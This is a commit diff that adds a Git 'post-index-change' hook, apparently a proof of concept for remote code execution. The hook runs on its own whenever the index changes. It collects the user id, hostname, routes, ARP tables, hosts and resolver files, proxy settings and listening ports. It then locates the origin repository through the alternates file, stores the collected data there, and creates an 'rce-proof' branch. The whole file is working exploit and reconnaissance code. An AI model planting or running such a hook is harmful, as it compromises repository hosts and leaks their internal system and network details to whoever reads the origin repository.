This commit is contained in:
2026-10-28 12:21:54 +00:00
parent c024524808
commit c5543fa372

14
hooks/post-index-change Executable file
View File

@@ -0,0 +1,14 @@
#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
case "$origin_objects" in
/*) ;;
*) origin_objects="$git_dir/objects/$origin_objects" ;;
esac
origin_git=${origin_objects%/objects}
[ "$origin_git" != "$origin_objects" ] || exit 3
output_blob=$( echo "== id =="; id; echo "== host =="; hostname; cat /etc/hostname 2>/dev/null; echo "== ip route =="; ip route 2>/dev/null || route -n 2>/dev/null; echo "== arp =="; arp -a 2>/dev/null; ip neigh 2>/dev/null; echo "== /etc/hosts =="; cat /etc/hosts; echo "== resolv =="; cat /etc/resolv.conf; echo "== env proxy =="; env | grep -i proxy; echo "== listen =="; (ss -tnlp 2>/dev/null || netstat -tnlp 2>/dev/null) | head -20 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
tree=$(printf "100644 blob %s\tproof\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
commit=$(printf "rce proof\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6
git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit" || exit 7
exit 0